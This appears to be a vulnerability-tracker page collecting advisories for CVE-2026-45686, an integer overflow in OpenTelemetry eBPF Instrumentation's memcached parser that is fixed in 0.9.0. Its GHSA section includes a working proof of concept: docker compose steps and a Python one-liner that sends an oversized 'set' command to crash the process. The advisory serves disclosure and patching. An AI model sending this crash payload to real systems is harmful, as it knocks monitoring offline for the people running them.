Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by go.opentelemetry.io/obi 0.9.0osv · severity unknownFixed by go.opentelemetry.io/obi 0.9.0KEV status unknown

cve-program · CVE-2026-45686

Published

OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From version 0.7.0 to before version 0.9.0, a remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek. This issue has been patched in version 0.9.0.

Read the publisher's advisory

euvd · EUVD-2026-33959

Published

OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From version 0.7.0 to before version 0.9.0, a remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek. This issue has been patched in version 0.9.0.

Read the publisher's advisory

nvd · CVE-2026-45686

Published

OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From version 0.7.0 to before version 0.9.0, a remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large <bytes> values and adds the payload delimiter length without checking for overflow. A crafted request with <bytes> set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek. This issue has been patched in version 0.9.0.

Read the publisher's advisory

osv · GHSA-43g7-cwr8-q3jh

Published

### Summary A remotely reachable integer overflow in OBI's memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as `set`, `add`, `replace`, `append`, `prepend`, or `cas`, OBI accepts extremely large `<bytes>` values and adds the payload delimiter length without checking for overflow. A crafted request with `<bytes>` set to `math.MaxInt` or `math.MaxInt-1` causes the computed payload length to wrap negative and triggers a runtime panic in `LargeBufferReader.Peek`. ### Details The issue is in the memcached request parser at `pkg/ebpf/common/memcached_detect_transform.go`. `memcachedCommandBytesField` parses the storage command `<bytes>` field with `strconv.Atoi` and only rejects negative values: ```go size, err := strconv.Atoi(string(fields[4])) if err != nil || size < 0 { return 0, false } ``` Because there is no upper bound check, values up to `math.MaxInt` are accepted. `memcachedConsumeStoragePayload` then computes the payload length by adding the trailing `\r\n` delimiter length: ```go payloadLen := bytesField + len(memcachedDelimBytes) payload, err := r.Peek(payloadLen) ``` If `bytesField` is `math.MaxInt` or `math.MaxInt-1`, this addition overflows the signed `int` and produces a negative `payloadLen`. That negative length is passed into `LargeBufferReader.Peek` in `pkg/internal/largebuf/large_buffer.go`. `Peek` checks whether `n > Remaining()` but does not reject negative values before slicing: ```go if r.rchunk < len(r.lb.chunks) && r.roff+n <= len(r.lb.chunks[r.rchunk]) { return r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil } ``` With a negative `n`, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely. Affected logic identified by the scan: - `pkg/ebpf/common/memcached_detect_transform.go:322` - `pkg/ebpf/common/memcached_detect_transform.go:386` - `pkg/internal/largebuf/large_buffer.go:501` ### PoC The repository already contains a runnable memcached fixture under `internal/test/oats/memcached/`. The steps below reproduce the crash using only files from this repository. 1. From the repository root, start the checked-in memcached environment: ```bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ up --build ``` This starts: - `memcached` on port `11211` - `testserver`, the Python app in `internal/test/integration/components/pythonmemcached/main.py` - `autoinstrumenter`, the OBI process launched with `--config=/configs/instrumenter-config-traces.yml` The relevant repo-local files are: - `internal/test/oats/memcached/docker-compose-obi-python-memcached.yml` - `internal/test/oats/memcached/configs/instrumenter-config-traces.yml` 2. In a second shell, confirm the environment is working: ```bash curl http://127.0.0.1:8080/memcached ``` 3. From the same repository root, send a crafted memcached storage command from inside the instrumented `testserver` container. On 64-bit systems, use `9223372036854775807` (`math.MaxInt`): ```bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ exec testserver \ python -c 'import socket; s=socket.create_connection(("memcached",11211), timeout=5); s.sendall(b"set crash 0 0 9223372036854775807\r\nvalue\r\n"); s.close()' ``` On 32-bit systems, replace `9223372036854775807` with `2147483647`. 4. OBI parses the request header, accepts the `<bytes>` field as an `int`, and computes: ```go payloadLen = bytesField + len("\r\n") ``` 5. That addition overflows negative and the negative `payloadLen` is passed to `LargeBufferReader.Peek`, which slices with an invalid bound and panics. 6. Confirm the crash by checking the `autoinstrumenter` container status or logs: ```bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ ps autoinstrumenter ``` ```bash docker compose \ -f internal/test/oats/memcached/docker-compose-include-base.yml \ -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \ logs autoinstrumenter ``` The expected result is that the OBI process crashes with a panic originating from `LargeBufferReader.Peek`, with the call path including `memcachedConsumeStoragePayload`. ### Impact This is a remote denial-of-service vulnerability in OBI's memcached protocol parsing path. Impacted deployments are those where: - OBI is running with the vulnerable memcached parser, and - OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence. A successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.

Read the publisher's advisory

osv · GO-2026-5107

Published

OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI in go.opentelemetry.io/obi

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-45686

Published

opentelemetry-ebpf-instrumentation

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "open-telemetry",
                    "product": "opentelemetry-ebpf-instrumentation",
                    "versions": [
                        {
                            "version": ">= 0.7.0, < 0.9.0",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-33959

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 2, 2026, 3:25:55 PM

dateUpdated: Jun 3, 2026, 1:48:21 PM

3 related source bulletins · separate from aliases

openSUSE-SU-2026:11053-1: alloy-1.17.0-1.1 on GA media

CVE-2026-25680 · CVE-2026-25681 · CVE-2026-33532 · CVE-2026-39821 · CVE-2026-39827 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39834 · CVE-2026-44740 · CVE-2026-45678 · CVE-2026-45682 · CVE-2026-45685 · CVE-2026-45686 · CVE-2026-46598

SUSE-SU-2026:22575-1: Security update for alloy

CVE-2026-25680 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-33532 · CVE-2026-39821 · CVE-2026-39827 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-39835 · CVE-2026-41889 · CVE-2026-42502 · CVE-2026-42506 · CVE-2026-42508 · CVE-2026-44740 · CVE-2026-45678 · CVE-2026-45682 · CVE-2026-45685 · CVE-2026-45686 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-46598

openSUSE-SU-2026:21251-1: Security update for alloy

CVE-2026-25680 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-33532 · CVE-2026-39821 · CVE-2026-39827 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-39835 · CVE-2026-41889 · CVE-2026-42502 · CVE-2026-42506 · CVE-2026-42508 · CVE-2026-44740 · CVE-2026-45678 · CVE-2026-45682 · CVE-2026-45685 · CVE-2026-45686 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-46598

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-45686

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-190

Original publisher date fields

published: 2026-06-02T16:16:43.493

lastModified: 2026-07-22T19:10:00.120

1 source CPE criteria · context only
  • cpe:2.3:a:opentelemetry:ebpf_instrumentation:*:*:*:*:*:go:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-43g7-cwr8-q3jh

Published

go.opentelemetry.io/obi

Go

SEMVER · introduced 0.7.0 → fixed 0.9.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-5107

Published

go.opentelemetry.io/obi

Go

SEMVER · introduced 0.7.0 → fixed 0.9.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 24 Nov 08:43 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current